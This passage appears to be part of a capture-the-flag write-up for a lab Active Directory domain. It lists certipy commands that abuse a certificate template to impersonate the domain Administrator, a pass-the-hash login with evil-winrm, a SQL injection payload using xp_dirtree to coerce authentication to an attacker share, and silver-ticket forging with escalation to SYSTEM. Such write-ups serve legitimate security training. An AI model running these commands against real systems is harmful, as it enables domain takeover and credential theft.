<figure><img src="/files/TwqxhkAQVWhwRoxaOahC" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
certipy req \
    -u 'sam.h@shadowgate.local' -p 'Pwned123@!' \
    -dc-ip '10.0.21.34' -target 'SG-DC01.shadowgate.local' \
    -ca 'Shadowgate-CA' -template 'SubCA' \
    -upn 'administrator@shadowgate.local' -sid 'S-1-5-21-2396436576-3267128377-3646372360-500' -ldap-scheme ldap
```

{% endcode %}

<figure><img src="/files/4adrris1dGpq6AeqhWWa" alt=""><figcaption></figcaption></figure>

**Step 4: Approve the pending request.**

{% code overflow="wrap" expandable="true" %}

```
certipy ca \
    -u 'sam.h@shadowgate.local' -p 'Pwned123@!' \
    -ns '10.0.21.34' -target 'SG-DC01.shadowgate.local' \
    -ca 'Shadowgate-CA' -issue-request '11' -ldap-scheme ldap
```

{% endcode %}

<figure><img src="/files/jaoW4RjWfqLdRjJWfik1" alt=""><figcaption></figcaption></figure>

**Step 5: Retrieve the issued certificate**

{% code overflow="wrap" expandable="true" %}

```
certipy req \
    -u 'sam.h@shadowgate.local' -p 'Pwned123@!' \
    -dc-ip '10.0.21.34' -target 'SG-DC01.shadowgate.local' \
    -ca 'Shadowgate-CA' -retrieve '11' -ldap-scheme ldap
```

{% endcode %}

<figure><img src="/files/tZsUbLN68J2B0Uv1QxzO" alt=""><figcaption></figcaption></figure>

**Step 6: Authenticate using the certificate**

{% code overflow="wrap" expandable="true" %}

```
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.21.34' -ldap-scheme ldap
```

{% endcode %}

<figure><img src="/files/hX8PUZgWUGGnmheTJEXe" alt=""><figcaption></figcaption></figure>

With the resulting hash we connect as Administrator to the domain controller using evil-winrm and find the flag at `C:\Users\Administrator\Desktop\root.txt`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i shadowgate.local -u Administrator -H 'REDACTED'
```

{% endcode %}

<figure><img src="/files/K6tpqtVZnEKzivXmILJL" alt=""><figcaption></figcaption></figure>

## Shortcut and Alternative Path

<details>

<summary>Shortcut</summary>

Credits to Laffin and Ahos6 discovering this shortcut during the QA session.

We have decided to not patch this alternative path.

Instead of just bypassing the login on `http://dev.shadowgate.local/`, we can directly coerce through the injection and gain the hash of `bogdan.r` with the following payload:

{% code overflow="wrap" expandable="true" %}

```
'; exec xp_dirtree '//<IP>/share' -- -
```

{% endcode %}

</details>

<details>

<summary>Alternative Path (Shortcut)</summary>

Credits to Laffin and Ahos6 discovering this path through the QA session. I couldn't see the forest for the trees... and it proofed that I still need to learn more.

We have decided to not patch this alternative path.

We know that the MSSQL instance is running as `bogdan.r` and obtained the credentials of that user.

This allows us to forge a silver ticket.

A silver ticket attack forges a Kerberos service ticket (TGS) for a specific SPN using only the NTLM hash of the account running that service. Since the target service decrypts and validates the ticket locally with its own account hash rather than verifying it against the KDC, we can embed an arbitrary identity into the ticket that is implicitly trusted as that user.

First we calculate the hash.

{% code overflow="wrap" expandable="true" %}

```
python -c "import hashlib; print(hashlib.new('md4', 'REDACTED'.encode('utf-16le')).digest().hex())"
```

{% endcode %}

We craft the silver ticket locally. The FQDN part after the `/` has to match.

{% code overflow="wrap" expandable="true" %}

```
ticketer.py -domain-sid S-1-5-21-2396436576-3267128377-3646372360 -domain shadowgate.local -spn any/sg-dc01.shadowgate.local Administrator -nthash REDACTED
```

{% endcode %}

With the resulting ticket we can authenticate to MSSQL as `Administrator`.

{% code overflow="wrap" expandable="true" %}

```
KRB5CCNAME=Administrator.ccache mssqlclient.py sg-dc01.shadowgate.local -windows-auth -k -no-pass
```

{% endcode %}

From there, we can use `xp_cmdshell` to get remote code execution with `SeImpersonatePrivilege`, which can be leveraged to gain access as `NT AUTHORITY\SYSTEM` using `EfsPotato`.

</details>
